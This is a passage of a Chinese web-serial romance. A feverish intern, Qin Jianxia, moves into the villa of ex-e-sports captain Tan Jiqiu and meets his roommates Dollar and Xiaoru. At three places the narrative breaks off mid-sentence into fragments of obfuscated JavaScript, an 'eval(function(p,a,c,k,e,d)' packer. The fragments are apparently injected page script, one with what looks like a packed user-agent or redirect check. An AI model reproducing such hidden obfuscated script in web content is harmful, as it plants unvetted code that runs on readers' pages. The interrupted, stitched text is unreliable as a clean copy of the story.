秦见夏回到工位坐下时,才发现自己的防晒衣不知所踪,甚至印象中也不知道落到哪了…… 只能发微信问谈继秋:「秋神你有见过我的灰色外套吗」 谈继秋正在开车,便语音回复:“你当时落在餐厅了,后来我好像随手扔到后座忘记交给你了……” 谈继秋:「要不我现在掉头回去?」 秦见夏连忙打字:「不用了不用了,我马上也上班了,要不先放在你那里吧」 谈继秋:「好,下次见面我带给你。」 两点一到,汪炜发来微信:「还有一个周四截止的需求也要今天做完,最迟明天上班发他们审核」 汪炜:「图片」 秦见夏一看,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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秦见夏又改了两版发给他,他这才开始手把手教她怎么切图和标注。 原来,因为这次的图标是不规则的,ps里的坐标不准,所以需要把每个部件底下的背景图层都垫一个透明的等大正方形。 这样最终导出的png部件是透明长方形的大小,而不是不规则图形的大小,以此在程序员那边呈现出每个图标只有X轴数值的区别。 秦见夏弄明白后:“……” 那他爸的他不早说。 明明她早就说了自己没做过切图,他还不说明白点,非要等她改四五版出来才肯教。 现在已经过了下班时间,秦见夏将此经历打字描述给大发,大发非常震惊:「我在这待俩月了一次切图都没做过,就只做过海报和banner」 秦见夏:「……」 秦见夏:「我继续切了,没想到今天居然还要加班」 大发:「安啦~咱们运营这边加班其实不算严重,美术那边加班才叫严重,连实习生都得跟着熬」 秦见夏发了个表情包回复,自己又在工位上奋斗半小时,自行检查的时候才总算严丝合缝地对上。 她打包交付完彻底松了口气,一抬头才后知后觉地发现大家几乎都走光了。 秦见夏感到有些无语。 自己拿着实习生的工资,居然比正式员工下班还晚。 她拎着谈继秋给她的东西,刚走出A5大楼,顿感身体状况有些不对。 室外仍和中午一样潮热,从空调屋里带出来的冷气与热浪一冲撞,秦见夏觉得自己又成森林冰火人了,冷一阵热一阵的。 脚上踩得仿佛不是水泥地,是一整片羽绒被似的轻飘飘,连手上的东西都重若千斤。 她一边感叹这身体怎么这么不中用,一边迅速走回酒店。 秦见夏进门直奔行李箱,翻出妈妈给装来的温度计和布洛芬,一测体温果然又发烧了。 索性只有三十八度八,这次应该不会再出现烧晕的情况,大概率睡一觉就能好。 她立刻抠了粒布洛芬塞进嘴里,不到八点便躺在床上昏睡过去。 谈继秋却快要急死了。 他刚刚给秦见夏发消息打语音没人回,让酒店前台打电话到房间里也没人接。 按理来说她也不会这么早就睡觉,所以——他还以为秦见夏又出意外了。 56. 别挑拨 秦见夏睡得昏昏沉沉,迷糊间听到一阵剧烈的敲门声响起,挥之不去。 她的脑袋像被人砸了根钉子进去似的痛,拿起手机看了眼,才不到九点。 秦见夏烦躁地从床上拔起身子,浑身沉重,她踩上拖鞋,趿拉到门边看了看猫眼,然后拨下防盗链,打开门,疑惑道:“谈继秋,你怎么来……” 话没说完,谈继秋忽然伸出胳膊,仿佛想将她圈进怀里,但还是及时刹住,克制地抬手撑着门,将她上下左右都打量一圈,心有余悸地说:“你没出事?吓死我了。” 此刻,秦见夏的大脑如同被灌满了水泥,还转不过弯来,无语嗔道:“能出什么事啊?我睡觉睡得好好的,你来干嘛?” “怎么这么早就睡了?”见她面色潮红,谈继秋敏锐地摸了摸她的额头,“你又发烧了?” “是啊,你再晚来一会我就退烧了。”秦见夏没好气地拍开灯,走回床边坐下,哈欠连连。 谈继秋拧着眉走进来,关上门问:“你量过吗,多少度?” “三十八度八,我已经吃过布洛芬啦。” 谈继秋拿起桌上的温度计,再度递给她,态度强硬:“不行,刚摸你额头还是很烫,你再量一下。” 秦见夏淡淡掀了掀眼皮,现在只想睡觉,但还是认命接过,谁让谈继秋又是第一时间赶来案发现场的。 “三十九度一,”谈继秋气得直跺脚,“秦见夏!” “啊呦别叫了别叫了,啊啊呜呜滴,我能听到,”秦见夏头重脚轻地倒进被子里,声音闷闷的,“这才刚吃完药不到两个小时,你总得让布洛芬反应一会吧。” 谈继秋的目光瞥见一旁的焖烧杯,顺手提起来掂了掂,发现里面是满的。 而且,医院给秦见夏开的药还在几天前拎过来的塑料袋里,他又打开药盒倒出来一看,显然她只吃了他监督着的那三顿。 “秦见夏,你别告诉我,刚刚你是空腹吃的布洛芬……” “还有你今天一整天和昨天晚上都没吃药!”谈继秋被她气得脑瓜子嗡嗡的,瞧她虚弱地瘫在床上,又放软语气,“你在学校不生病吗?” “生啊,”秦见夏答得理所当然,甚至隐隐有些自豪,“但我一般不到两周就自动好了,我感觉我抵抗力还不错,不要大惊小怪的。” 谈继秋:“……” 谈继秋:“只要是小病,是个人两周也好了。” 他越想越不放心,连同手机房卡焖烧杯保温杯和药盒一并装进她随手扔在地上的背包里,直接将秦见夏打横抱起,在她的惊呼声中给她披了件外套,径直出门。 “你还是跟我回家住吧,明天我把Dollar他女朋友叫来陪你。” “不用了,我明天还要上班!”秦见夏挣扎着想要下地,谈继秋却纹丝不动。 “那我一会给你爸妈打电话,问问他们让不让你请假?”谈继秋垂眸瞧她,狭长的眼里满是戏谑,“139那个号码应该是你爸妈的吧?” 这招果然对秦见夏有效,她放弃挣扎:“你怎么知道?” “你两次发我的地址里电话号码不一样,我推测139那个号应该是你家长的,”谈继秋稳步走进电梯,想起什么来似的问,“你怎么这么怕你爸妈?他们对你不好?” 这个姿势两人靠得很近,几乎贴在一起。他说话时,气息洒在秦见夏侧脸,若有若无,跟小猫挠似的。 “当然不是!我爸妈对我很好很好,我只是不想让他们为我操心而已。” 秦见夏没和男人这么近距离接触过,下意识躲开他的视线,将头枕在他肩上,嘟囔着:“他们知道我生病了肯定又要大老远跑来照顾我,明明他们都快五十的人了,还总拿我当小孩看呢。” “难道你不是吗……”谈继秋无奈地叹了口气,“我三岁的小外甥女都知道生病了要吃药,你怎么不记得?” 俊脸近在咫尺,秦见夏感觉自己烧得头发都快冒烟了,依旧狡辩:“我只是工作忙忘记带了,你这种资本家根本不懂打工牛马早上起来多匆忙!我因为怕吹风还特意没骑小黄车,走路过去的呢。” 谈继秋的身体比看起来结实得多,不知为何,莫名让人安心。 他沉稳的嗓音落进秦见夏耳中:“别逞强了,你这两天先住我那边吧,万一你半夜身体突然不舒服,还能有人及时送你去医院。” “我刚以为你又晕在房间了,差点找前台开门。”他解释说。 “反正现在我和Dollar还有Fine一起合租,你也都认识,Fine只有放假了才回来住两天,平时都是我和Dollar在家。三楼一直空着没人住,每个套间都有独立卫浴,刚好给你和小如当女生宿舍。” “那好吧,”谈继秋抱着她走出电梯,引来周围人侧目,秦见夏用外套帽子尴尬地遮住自己的脸,问他,“小如既然和Dollar是情侣,为什么不直接住在一起啊?” “小如毕竟是女生,她觉得别墅只住她一个女生不太好。刚好你来了,我们就把小如也喊来。” 谈继秋身形偏瘦,臂力和核心力量却很强,抱着秦见夏一点都不喘,仍然四平八稳地说:“你先住两天试试,觉得可以就不用再租房了,反正楼上闲着也是闲着,而且我们租的别墅离你们公司还近。” “可是我顶多待到十月份就不在晋海了。” “没事,你先住着,不用考虑那么多。” 谈继秋将她小心翼翼地放在后座,告诉她可以躺着,秦见夏换了个舒服的坐姿,懒洋洋地打起哈欠,看向前面正在启动车子的谈继秋:“之前忘了问你,你是不是健身啊,感觉你劲儿很大的样子。” 前两天一下就给那个醉汉揍得鼻血直流,打他跟扔抹布似的,还真是人不可貌相。 谈继秋边开车边说:“随便练练,别墅负一楼有健身房,你下班没事了也可以去锻炼。” 秦见夏含含糊糊地说了句好。 谈继秋从后视镜里瞧见她小鸡啄米似的打着瞌睡,不由得笑了笑,说:“放心睡吧,到了我叫你。” 路上遇到药店,谈继秋还贴心地去买了退烧药、退烧贴和止咳糖浆,想着一会要是退不了烧再带她去医院挂水。 车子刚驶进小区,秦见夏就醒了,看到路边停的豪车,不由得乡巴佬一样感叹:“我滴乖,怎么有钱人也把超跑扔路边啊。” “可能是车太多,车位不够停,只要没人举报,停自己家门口没人管。”谈继秋耐心解释。 秦见夏突然意识到一个问题:“那——你们小区附近有共享单车吗……?” “没留意过,”谈继秋一副理所当然的口吻,“我送你上下班。刚好养养车,免得老让它在地库吃灰。” 秦见夏:“……那你家养车的方式还挺奢侈的。” 谈继秋将车在地下车库停稳,解开安全带,指向一旁:“到了,电梯在那边。” 秦见夏被他搀扶出来,不好意思地说:“不用扶我,我现在感觉自己已经好多了。” “你有什么想吃的吗?我叫个外卖,你吃完东西再吃药,”谈继秋置若罔闻地托住她的胳膊,单手掏出手机打开外卖app,“馄饨怎么样?” 秦见夏走进电梯,指了指他拿过来的焖烧杯:“没胃口。你不是把瘦肉水带来了吗,我吃这个吧,应该还没凉。” 谈继秋只好说:“也行。” 电梯升到一楼,他边扶着秦见夏边给保姆打电话,嘱咐她现在过来打扫房间。 Dollar此时刚提着外卖回来,一见到秦见夏,“哟”了一声:“这个妹妹有点眼熟……” 秦见夏略显局促地打了声招呼。 “滚,谁是你妹妹。”谈继秋不悦骂道,向他简要解释来龙去脉,顺便让他把小如也喊过来一起住。 Dollar大大咧咧地往餐桌前一坐,掀开外卖盖子,秦见夏也坐在他斜对面,打开谈继秋的焖烧杯。 她看到Dollar在吃国潮外卖,不解地问:“你们不是有保姆吗,为什么不让阿姨给做饭?” 谈继秋在给她接热水,Dollar边吃猪脚饭边说:“因为我俩吃饭时间不一样,我一般下午才醒,他好像不怎么睡,反正我俩作息完全相反。既然总要有一个人吃剩饭,那还不如自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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谈继秋懒得再和Dollar小学鸡互喷,秦见夏顺势指挥他去厨房拿个碗过来。 Dollar见队友离开,小声问秦见夏:“妹,你是不是就周六CJ那个拉克丝?” “我今天没化妆,难道你也认得出来?”秦见夏有些生无可恋。 Dollar震惊到眼睛瞪得溜圆:“你那天居然化妆了吗?” 秦见夏:“……” Dollar笑了两声,安慰道:“没事儿的妹,等明天你小如姐来了让她教你化妆,我老婆可是美妆博主呢。” 秦见夏立刻兴奋起来,头不晕了眼不花了,满脸对知识的渴望:“真的吗?嫂子竟然是美妆博主?叫什么啊我去搜搜!” 谈继秋将碗拿来,看到秦见夏把焖烧杯里剩下的一半都倒进碗里推到Dollar面前,无奈拿起手机点了份馄饨外卖。 “你嫂子是‘如如大王’,只不过人家不愿意真给名分,说公开算她塌房……” 谈继秋凉飕飕地说。 “怎么就不愿意给名分了?我俩那是综合双方事业考虑,迟早会公开的!”Dollar不爽地喝着瘦肉水,跟被踩了尾巴似的有什么说什么,“谈继秋你不会说话就闭嘴,难怪女主播她们都喊你‘电竞鬼见愁’,真不知道谁受得了你这臭脾气,也就是尼奥尼之前被你那张脸搞得鬼迷心窍非要追你——哦对,还有现在这个妹哄你。” 秦见夏下意识瞥向谈继秋,当事人一副无所谓的神情,仿佛被嘲讽的另有其人。 即便知道Dollar没有恶意,但她还是觉得Dollar把谈继秋说得太过了,他只是没那么圆滑而已,便张嘴想帮他说两句好话。 Dollar一口气把汤喝完,一本正经地放下碗,截住秦见夏:“妹,你可别跟尼奥尼一样被他那张脸蛊惑,他很难搞的嘞。” 谈继秋抱起双臂,闻言毫不客气地踹了脚Dollar坐的凳子,在地面摩擦出响亮的一声,他惜字如金:“别挑拨,来solo。” Dollar仿佛找到同盟,冲秦见夏挤了挤眼睛,好像在说“你瞧我就说吧”。 谈继秋当即不悦地又蹬了一脚,不动声色地朝秦见夏坐得更近一些,标记领地般将手臂搭在她椅背上。 “尼奥尼?”秦见夏还来了兴趣,“是那个解说Nyoni?” 她回头问谈继秋,一脸戏谑:“原来她追过你啊。” 57. 想得美 谈继秋觉得不太对。 她这反应不太对。 秦见夏脸上找不出一丝吃醋的神情,除了看好戏就是八卦,别无其他。 谈继秋道心破碎地想——看来她真的没那么喜欢他。 阿姨此时刚好走进门,给他们打过招呼后就乘电梯上楼收拾房间。 谈继秋解释:“我已经澄清过很多次,我和Nyoni真没关系,是粉丝们单方面嗑cp。而且她没追过我,这都是谣言。” “没追过你?”Dollar最后把好兄弟亲手煲的汤渣喝完,发出满足的喟叹声,“明明是你这家伙不解风情。” “每次赛后人家尼奥尼都等在休息室门口想约你去吃饭,结果你不是嫌人家挡路,就是觉得她在偷听战术给人家轰走,搞得尼奥尼每次都一脸吃了苍蝇的表情。” “最搞笑的是——有次尼奥尼做了医美,和之前有点变化,结果老秋直接没认出来。人家美美地给他打招呼,他面无表情地来了句‘你是哪位,这里粉丝不能进’,给人家气得半个月没再来找他哈哈哈哈哈!” 秦见夏听后却没和Dollar一起笑,只是抬眼问谈继秋:“那你有明确拒绝过Nyoni吗?” 谈继秋想了想,摇头:“我在直播间和赛后采访当众澄清过,这不算拒绝吗?” “我不知道,”秦见夏纠结地喝了口温水,“反正你要是不喜欢她的话,就私下里直接礼貌拒绝吧,好好跟她说,断了她的念想,别再这样让圈里人看笑话了,她也没做错什么。” 她说得如此大方敞亮,不带一丝个人情愫,像是普照众生的太阳,温度平等落在所有人身上。 他并不是那个例外。 连一个没见过面可能是“情敌”的人,她都会为她着想。 谈继秋阴暗地意识到,自己甚至有些嫉妒那人。 他藏起颓然的神色:“知道了。” Dollar依旧看热闹不嫌事大:“不过妹儿你放心,一般的女生只要见色起意和老秋说上三句话,绝对会被他这种活人微死硬邦邦的态度气走,几乎没人跟你抢。他是彻底一点也不哄人,演都不演,再热情的女孩也不乐意这么上赶着当舔狗……” 秦见夏:“……” 怎么感觉被骂了。 谈继秋果然怒道:“你骂谁舔狗呢?” “诶——苍天明鉴,”Dollar立刻免责声明,“你和妹之间看来你更舔,这波应该是真爱降临。” “妹,你一定要多虐虐老秋啊,现在终于是有人能治治他了!”Dollar对秦见夏说得郑重其事。 秦见夏吃着瘦肉水里的肉末,不太认同:“我觉得秋神人很好啊,也没有完全不哄人吧……” “草,”Dollar这才后知后觉,人家俩才是一家的,他抬眼看了看她身旁面带警告的谈继秋,又瞧了瞧似乎还在发烧的秦见夏,选择远离战场,“你俩小情侣去三楼腻歪去!老子要开播了!明天我老婆来了我们也要秀恩爱。” “唉美元哥,我俩没在一起!”秦见夏扭头朝他解释,“你别误会啊,我俩不是情侣,我真是来合租的!” Dollar一脸“你看我信吗”的表情。 “你别喊了,”谈继秋扶着她的肩膀将人转回来,“你再喊两声又要多吃两天药。” “吃完了吗,咱们去三楼看看房间?觉得合适你就先躺着休息,我给你点了馄饨,一会外卖到了我送上来。”谈继秋说得温声细语。 秦见夏跟在他身后走进电梯:“可是我真吃饱了,馄饨你自己吃吧。” 她措辞片刻,小心地说:“秋神,我也不白住,如果……一个月给你三千的房租,你看怎么样?” 有一说一,和谈继秋他们合租的确要省心不少,人多热闹而且楼层分开,最重要的是,谈继秋此人给她感觉相当靠谱,不愧是当过队长的。 秦见夏抬头打量了一下他的脸色,忍痛比出四根手指:“最多加到四千,再多我就考虑酒店长住了……” “我能选择不要房租吗,”谈继秋轻声笑笑,也真是第一次见这种女孩,算得真清,“你这四千块连这别墅的零头都不够。” “不行!”秦见夏坚决道,“必须收房租,常言道‘免费的就是最贵的’,你要是不收房租的话我就要怀疑你对我图谋不轨了!” 其实早就图谋不轨了。 “好吧,”谈继秋走出电梯,只能妥协,“你们公司一个月房补给多少?” “两千。” “行,那你一个月给我两千。正好明天一号,我让人把租房合同拟出来给你,你准备好身份证复印件。” 谈继秋将秦见夏引到左边卧室的房门前,把门上钥匙抽出来,转身交给她:“钥匙就这一把,弄丢得换锁,谨慎保管。” 阿姨已经收拾好这一间,听动静此时应该是在隔壁忙碌。秦见夏接过钥匙,打量起自己未来的房间。 卧室的装修风格和别墅整体风格一致,属于中性色调的意式极简风,这种偏现代的装修是他们这些年轻人会喜欢的。 卫生间在进门右手侧,房间内有一扇很大的窗户,衣柜书柜书桌应有尽有,墙上还挂着装饰画,看起来非常温馨。 “一楼外面有院子,这一层还有露台,明天我让阿姨打打杀虫药,你们平时可以在室外喝下午茶。” 谈继秋见她已经坐在书桌旁,算算时间也差不多,便把药和保温杯递给她:“现在,我监督你吃药。” 秦见夏只好老实地将药全吃了,谈继秋走之前不忘交代:“一会你先别锁门,半夜两点的时候我再来给你量一次体温,如果还不退烧就只能再去趟医院了。” “我俩都在楼下直播,你有事随时发微信或者下来叫我们,”谈继秋边说边走出房间,临出门前忽然欠欠地笑了一下,“对了,你的工牌我特意没带来,记得请假~” “谈继秋!”秦见夏怒道。 当事人已经关上门火速逃离案发现场。 秦见夏无语地拿起手机,一看现在已经十一点了,只能硬着头皮给mentor发微信请假。 好在剩下的活都是周四和周五ddl,周三再去赶大概来得及。 秦见夏说明了一下情况,又说自己周三做不完的话一定加班赶需求,汪炜也只能冷冰冰地发来一句「走OA,我明早审批」。 这八个字看得秦见夏心里暖暖地,又感觉mentor人还行了。 吃过退烧药后,秦见夏一夜无梦,直接睡到周二早上十点半。 一打开房门,看到自己的行李都整整齐齐地摆在门口,显然是谈继秋早上刚去酒店拿来的。 继军这家伙居然是贤惠型。 秦见夏心情很好地坐电梯到一楼,看到谈继秋似乎刚刚锻炼完上来,便热情地和他打招呼:“秋神,你怎么起这么早啊?” 谈继秋今天是运动限定皮肤,上身穿着黑色修身速干短袖,下面搭一条灰色运动短裤,干净清爽。 由于刚运动完,小臂青筋遒劲,脸颊和耳朵都微微泛红,被薄汗浸湿的刘海有几缕贴在额上,看起来有些……性感。 他轻声喘|息,胸腔不断起伏,朝她轻点头颅,算是打招呼。 秦见夏懒洋洋地往沙发上一瘫,不动声色地打量起谈继秋,才发现他的肩膀很宽,显得头特别小,头身比也很优渥。 他淡淡瞥她一眼,若无其事地缓步走向饮水机。 秦见夏的目光又不受控制地往他裤子那两条耷拉下来的系带上移去,裤绳荡来荡去,她视线停顿两秒,红晕随即攀上耳根。 她艰难将视线抽丝剥茧般拔开, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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虽然这周开始没什么热度了,但她的小红书还是直接涨到了将近八千粉丝,数据相当可观,得趁热打铁抓紧发发作品。 “对了谈继秋,小如姐什么时候来?”秦见夏打开剪映,逐个导入素材,头也不抬地问。 “Dollar早上就去帮小如搬家了,忙完应该下午左右到吧。” 现在刚好闲着,谈继秋将一早打印好的合同递给她,又从茶几下面的抽屉里翻出一根黑笔:“你看看合同,我早上找法务帮忙拟的,一式两份,觉得没问题就可以签了。还有,你的房租押金也要回来了,房东说下午退钱给你,注意查收。” “那太好了!”秦见夏接过合同,兴奋道,“诶,不过你这合同上怎么写的每个月十五号交房租,而且还不要押金?” “对啊,怎么了?” “你的法务不觉得你是个脑子有问题的二房东吗?”秦见夏从头到尾仔细翻阅一遍,在谈继秋的签名旁边也签上自己的名字,“而且是公司法务吧,你这样滥用职权真的没问题?” 秦见夏写字很像小学生,一笔一划地,不知道还以为她在填高考答题卡。 谈继秋促狭地笑了两声:“我没有跟你说过,我是黄油的股东吗?” “还有也不是公司法务,是找一个律师朋友帮忙拟的,不算滥用职权。” 这家伙居然比她想象中还有钱。 秦见夏闻言抬头,皮笑肉不笑道:“请问这和你是黄油股东的关系是……?” “没有关系。” “我想装*。” 谈继秋笑容灿烂。 58. 手拉手 秦见夏在小如来之前,又刷了一遍“如如大王”的视频。 她的小红书有将近三十万粉丝,抖音有一百多万,不是大博主也算是小网红了。 前段时间,“如如大王”在抖音有条仿妆视频爆出圈了,秦见夏这才关注了她。 没想到“如如大王”的对象竟然是Dollar,那难怪小如姐不打算公开。 Dollar的颜值虽然在竞人圈里属于中等偏上,但电竞圈的平均线太低,只要长得像个人往电竞圈里一放都是及格线以上。 Dollar只能说是长得不丑,还算凑合,至少不胖。 不过……“如如大王”如果公开了肯定会掉粉也是真的。 大家显然更期待美妆博主的男友是个帅哥。 秦见夏和谈继秋刚吃完午饭时,见到小如拖着行李箱,从电梯间里走出来。 她一身史努比睡衣套装,金色头发被她用卡通发箍推到脑后,露出光洁的额头和小巧的脸颊。 黑框眼镜为她增添了几分知性美,本人看起来和视频里一样温柔好相处。 秦见夏眼前一亮,飞快迎了上去:“小如姐,你怎么看上去比视频里还瘦啊!” “呀——你就是CJ的拉克丝吧,”小如用暧|昧的眼神在秦见夏和谈继秋之间来回打量,“老秋追的人是你对吧?那天活动我们看直播了,我一看就能看出来……” “小如姐——”秦见夏连忙打断她,帮她把拉杆箱往电梯里推,“我陪你直接去三楼吧,咱们女生宿舍在三楼。” “女生宿舍哈哈哈哈哈!”小如走进电梯,被她的说法幽默到,忍不住用手帮秦见夏拨了拨刘海,进行自我介绍,“我叫林晓如,应该比你大个一两岁,你在晋海有什么不懂的问我就行,周末我们可以一起去探店打卡~” 秦见夏也介绍自己:“小如姐,我叫秦见夏,你叫我夏夏就行。我现在在腾游实习,由于前两天发生了点意外,所以才来和他们合租的。让您受累搬家过来真是特别不好意思,一会我请你喝奶茶吧!” “诶呦夏夏,你不要这么客气嘛!必须我请你,你一个才进社会的大学生哪来的钱啊,”小如边把行李箱往电梯外拽边说,“再说了——这次也是刚好你来了我才有机会搬过来……我和楚子豪不是已经谈了好几年了嘛,我家里催婚呢,这次一起住一段时间我刚好可以再考察考察你美元哥适不适合结婚。” 秦见夏帮她打开卧室门,震惊道:“啊?小如姐你们已经到谈婚论嫁的地步了?” “唉,其实我们也都才二十四五,只是进社会太早了,家长们就觉得已经老大不小该有着落了,我俩都还没准备好到下一步呢,”小如将行李箱放倒,边拨弄着密码边问,“你呢?你和老秋怎么样了,他给你送什么礼物了?” “什么礼物?他没送我礼物啊。”秦见夏一头雾水。 “哦,那天他找我们问你这种类型的女孩喜欢什么来着……夏夏你有什么喜欢的?我下次旁敲侧击给他透漏点情报。” 秦见夏苦恼地坐在一旁的椅子上:“其实我们才认识几天,我感觉我和他还是不够了解对方,性格什么的也需要时间磨合,所以,我还没想好要不要和他在一起……” “这样是对的,我支持你,”小如蹲着整理行李箱,说,“我认为你也不要太有心理负担,谈恋爱本质上就是因为两个人在一起开心,你也不用觉得Jichoo帮了你你就一定要和他在一起,那这样的话,所有人都得去和医生警察谈恋爱了。” “他帮你、给你花钱,那是他乐意,追女生哪有不花钱的道理噻?” “我也支持你多和其他男生接触接触,晋海的精英男多得是,不要在他一棵树上吊死嘛~” “小如,你在给她灌输什么思想?” 谈继秋和Dollar也人手一个行李箱从电梯里出来,还没走进房间就听到她在劝秦见夏去找别的男人。 小如线下一见到谈继秋那张毫无感情的伪人脸就头皮发麻,虽然平时聚餐他也没什么存在感,但这人不愧是当队长的,压迫感十足。 “继军你别吓我老婆!”Dollar进来放下箱子英雄救美。 “天天你老婆你老婆的,”谈继秋轻描淡写地翻了个白眼,扭头就走,“看见情侣就烦。” Dollar&小如:“……” Dollar面向秦见夏,指了指谈继秋离开的背影:“妹,你看到了吧,谈继军平时就这么对我们,他对我们真的很刻薄你不觉得吗?” “行了,你不是也天天继军继军的叫,”小如抓住他的锡纸烫爆炸头薅了薅,“人家Jichoo都没说什么。” 小如只是觉得谈继秋这人无聊又冷漠,偶尔有点人机,倒是算不上用“刻薄”这个词来形容。 哪次Dollar找他帮忙或者借车,谈继秋也从来都没拒绝过。 有次Dollar辅助没发挥好,也是谈继秋主动出面发微博澄清的,他只是面冷心热罢了。 “我觉得没有很刻薄啊……”秦见夏弱弱出声,“你们不觉得他这样挺萌的吗……?” Dollar&小如:“……” 两人这次是真沉默了。 Dolla辣评:“妹,那你这口味确实挺猎奇的。” “唉你们女寝自己聊吧,老子要下楼打游戏了。” 小如走过来对秦见夏说:“夏夏你不要往心里去,他俩其实关系很好的,只是男生之间表达感情的方式就是互呛。” “虽然Jichoo他人情味是淡了一点,但是姐敢跟你保证,老秋绝对不乱玩不喝酒人品没问题,”小如边说边跑去行李箱里拿了个SK-II礼盒送给秦见夏,“这个是姐姐的见面礼,你收下。” 秦见夏连忙拒绝:“不行不行,小如姐这太贵重了我不能收!” 小如强势地将礼盒塞给她:“拿着!你看我这一箱的护肤品呢,都是pr送给我的,姐也没花钱……而且也不是白送你,周末你陪我去拍拍照怎么样?” “好吧,”秦见夏只好羞赧地收下了,在一旁陪她整理着东西,“小如姐你怎么没有摄影师啊?我还以为你们这样的博主都有专业团队呢。” “我的团队主要是帮我对接商务的,因为我录视频的时候不喜欢有人在旁边盯着我,而且我在晋海也没什么朋友,所以都是一个人拍摄剪辑,每次出外景也都自己录哈哈哈,楚子豪拍照太难看了!” 秦见夏兴奋地说:“那周末我给你拍照吧小如姐!我们专业课教过摄影!” “好啊好啊,”小如也喜上眉梢地开始转身翻着自己的 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此时秦见夏就挂在林晓如身上,忍不住嗅了嗅她的头发:“小如姐你用的什么洗发水啊,好香……” “也是广子,一会去楼上我给你拿——” “咳咳,”谈继秋咳嗽两声,打断两人的谈话,“秦见夏我觉得你还是不要离小如这么近了吧……Dollar你说呢?” “我没意见,她俩手拉手上厕所我都没意见,”Dollar正在分星巴克,将冰摇红莓黑加仑放在谈继秋面前,“我可不像某个人连手都没拉上……” 谈继秋面无表情地抄起抱枕砸他。 Dollar顿时跑到两个女生面前卖惨:“妹,你看你秋神砸我~” 秦见夏和小如笑作一团,一个穿着蜡笔小新的睡衣,一个穿着史努比的睡衣,还都戴着黑框眼镜,看起来十分默契且投缘。 秦见夏笑得口渴,刚拿起燕麦拿铁打算喝一口,就被谈继秋截住。 手中咖啡被抽走,换来一杯紫色果汁,谈继秋弯着唇说:“你晚上要吃药,不能喝咖啡。” “谈继秋!”秦见夏愤怒喊道,“这又不影响!我最喜欢喝的就是燕麦拿铁!” 小如在一旁得意地冲Dollar挑了挑眉:“我就猜她喜欢喝燕麦拿铁。” “不行,”谈继秋严肃地垂眸拒绝,还直接插|上吸管喝了一口,蹙眉点评,“味道不怎么样。” “暴殄天物!” 秦见夏更生气了,张牙舞爪地追着他要回自己的燕麦拿铁,谈继秋十分欠揍地单手举起杯子,让秦见夏怎么够也够不着。 她只能在原地无能狂怒,用拳锤他。 小如和Dollar一边吃零食一边看热闹,乐不可支地交头接耳—— “Jichoo什么时候这么有活人味了?” “老婆你不知道,这家伙从六月中旬就开始间歇性死人微活,不出意外是妹的功劳,作为谈继秋的父亲,我心甚慰啊哈哈。” “赌不赌?我赌他俩月底前肯定在一起!” “用不着,我赌七夕前!赌什么?” “明天发布的大疆action4?如如大王现在正好缺一个。” “成交!” 59. 吃醋了 当晚,为了庆祝秦见夏和小如入住,谈继秋特意叫阿姨来做了一桌子菜,还拍了合照发给远在基地的Fine,Fine眼红地说他也想退役了。 这天秦见夏没有再发烧,并且按时吃了药,于是周三得以继续去公司当牛马。 她本来是打算悄悄起床自己骑车去公司的,结果刚偷偷摸摸地下到一楼,就被端坐在沙发上的谈继秋吓了一跳。 秦见夏被他吓得飚出国粹:“吓死我了,你怎么像鬼一样坐在这里!” 此时刚八点出头,小如和Dollar都在睡觉,整栋别墅十分静谧,谈继秋穿着一身黑色运动套装坐在沙发最中间,面前摆着生煎和豆浆,一副刚运动完的状态。 “早,”谈继秋抬腕,看了眼时间,“早餐是在家吃还是在车上吃?” “我带去公司吧。” 秦见夏捏着斜挎包的带子,瞥他一眼:“你真不睡觉的吗?” “可能吧。” 谈继秋眼下有淡淡的乌青,却不影响他的丰神俊朗,反倒给他增添了几分忧郁色彩。 “原来你之前直播开美颜了啊。”秦见夏跟在他身后下到车库,熟稔地开起玩笑。 谈继秋下意识用手拨了拨头发,问她:“我本人没有直播里帅吗?” “那倒不是,”秦见夏打了个哈欠,“摄像头可能自带磨皮效果吧,你比直播里还帅一点,就是现实中能看出来黑眼圈。” 谈继秋没精打采地“嗯”了一声,帮秦见夏打开车门,又绕到驾驶位坐进来,将生煎递给她:“现在吃吧,等到公司都凉了,一口吞容易烫到,慢慢吃,把汤溅到车里也没事,我一会刚好去洗车。” 秦见夏不禁感叹,他实在是绝佳好男人啊。 她父母都不肯让她在车里吃生煎来着。 秦见夏吹了吹生煎包,思索片刻,还是直接一口吞,咽下后偏头问他:“你有吃过褪黑素吗?据说好像对失眠很有效果。” “吃过,”谈继秋说,“但对我没什么用。” “这样啊……” 失眠这个事,秦见夏没办法感同身受。 她的睡眠随了赵霞,从小到大只有睡不够的份,只偶尔在大考前失眠过,比如高考前那晚,她就基本没睡着觉,现在回忆起来还是觉得很痛苦。 身体想睡觉,脑子却很活跃,根本无法控制。 也难怪谈继秋天天都是一副活人微死的状态。 如果是秦见夏每天失眠,她肯定重开的心思都有了。 “那你试过睡觉前剧烈运动吗?”秦见夏说完,觉得有些歧义,又连忙补充,“比如长跑完再睡,身体特别累或许就能睡着了。” 谈继秋想了想,觉得有道理:“虽然我不爱跑步,但下次我试试。” 秦见夏没想到,开车去公司反倒是踩点到的,堵得她差点想下车走路。 好在准时打了卡。 工作前,她先打开电脑版小红书摸鱼回复了一下评论。 昨晚将vlog发出后,到现在有五百多点赞,她觉得数据还不错,算是薅上了CHNJoy的最后一波羊毛。 顺便还在小如的指导下开通了蒲公英,视频报价直接填了七百。 秦见夏昨天像土狗一样看着小如帮她操作,感叹“做自媒体确实赚钱”。 小如煞有其事道:“还好你那天抓住了这波流量,如果你周六没发帖的话,今天再想开始做自媒体就来不及啦,时机很重要的!” “而且你的vlog不是露脸了吗,你直接再注册一个抖音号同步发视频,这样曝光更大一点。虽然小红书的粉丝含金量比较高,但是抖音用户更多,能赚一点是一点嘛……哦对了,记得全平台同名。” 她今天还没打开看抖音的数据如何,准备等中午吃饭的时候再说。 